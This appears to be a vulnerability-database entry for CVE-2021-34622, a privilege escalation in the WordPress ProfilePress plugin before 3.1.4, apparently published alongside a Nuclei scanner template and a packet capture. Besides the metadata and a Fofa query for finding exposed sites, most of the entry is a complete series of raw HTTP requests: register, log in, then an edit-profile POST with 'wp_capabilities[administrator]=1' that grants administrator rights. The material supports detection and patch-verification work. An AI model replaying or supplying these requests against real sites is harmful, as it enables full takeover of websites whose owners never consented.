| Title | WordPress ProfilePress <= 3.1.3 - Privilege Escalation |
|---|---|
| Author | Sourabh-Sahu |
| Severity | Critical |
| Impact | Authenticated users can escalate their privileges to administrator by supplying arbitrary usermeta fields during profile updates, leading to complete WordPress site takeover. |
| Remediation | Upgrade to ProfilePress version 3.1.4 or later. |
| CVSS Score | 8.8 |
| EPSS Score | 0.51775 |
| CVE ID | CVE-2021-34622 |
| CWE ID | CWE-269 |
| Fofa Query | body="/wp-content/plugins/profilepress" |
| Tags | cve cve2021 wordpress wp-plugin wp profilepress privilege-escalation authenticated intrusive vkev vuln |
ProfilePress plugin before 3.1.4 allows privilege escalation. Due to insufficient validation in the profile update functionality, authenticated users can supply arbitrary usermeta fields, including wp_capabilities, during profile updates. This enables a user to escalate their privileges to administrator.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15
Connection: close
Content-Length: 765
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=WebKitFormBoundarypRyCNwmSkLdfNd7E
--WebKitFormBoundarypRyCNwmSkLdfNd7E
Content-Disposition: form-data; name="reg_username"
jtQRTK
--WebKitFormBoundarypRyCNwmSkLdfNd7E
Content-Disposition: form-data; name="reg_email"
MJALpT@WfsQc.com
--WebKitFormBoundarypRyCNwmSkLdfNd7E
Content-Disposition: form-data; name="reg_password"
fgyUS56Q
--WebKitFormBoundarypRyCNwmSkLdfNd7E
Content-Disposition: form-data; name="reg_password_present"
true
--WebKitFormBoundarypRyCNwmSkLdfNd7E
Content-Disposition: form-data; name="reg_first_name"
IqDn9
--WebKitFormBoundarypRyCNwmSkLdfNd7E
Content-Disposition: form-data; name="reg_last_name"
WSayK
--WebKitFormBoundarypRyCNwmSkLdfNd7E
Content-Disposition: form-data; name="action"
pp_ajax_signup
--WebKitFormBoundarypRyCNwmSkLdfNd7E--
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15
Connection: close
Content-Length: 97
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
action=pp_ajax_login&data=login_username%3DjtQRTK%26login_password%3DfgyUS56Q%26login_form_id%3D1
GET /account/edit-profile/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15
Connection: close
Content-Length: 1186
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=WebKitFormBoundarypRyCNwmSkLdfNd7E
--WebKitFormBoundarypRyCNwmSkLdfNd7E
Content-Disposition: form-data; name="reg_username"
jtQRTK
--WebKitFormBoundarypRyCNwmSkLdfNd7E
Content-Disposition: form-data; name="eup_email"
MJALpT@WfsQc.com
--WebKitFormBoundarypRyCNwmSkLdfNd7E
Content-Disposition: form-data; name="eup_first_name"
IqDn9
--WebKitFormBoundarypRyCNwmSkLdfNd7E
Content-Disposition: form-data; name="eup_last_name"
WSayK
--WebKitFormBoundarypRyCNwmSkLdfNd7E
Content-Disposition: form-data; name="eup_display_name"
IqDn9 WSayK
--WebKitFormBoundarypRyCNwmSkLdfNd7E
Content-Disposition: form-data; name="_wpnonce"
9id4tE
--WebKitFormBoundarypRyCNwmSkLdfNd7E
Content-Disposition: form-data; name="nonce"
iJigmd
--WebKitFormBoundarypRyCNwmSkLdfNd7E
Content-Disposition: form-data; name="ppmyac_form_action"
updateProfile
--WebKitFormBoundarypRyCNwmSkLdfNd7E
Content-Disposition: form-data; name="action"
pp_ajax_editprofile
--WebKitFormBoundarypRyCNwmSkLdfNd7E
Content-Disposition: form-data; name="is_melange"
true
--WebKitFormBoundarypRyCNwmSkLdfNd7E
Content-Disposition: form-data; name="wp_capabilities[administrator]"
1
--WebKitFormBoundarypRyCNwmSkLdfNd7E--
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-34622.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-34622.pcap
N/AN/A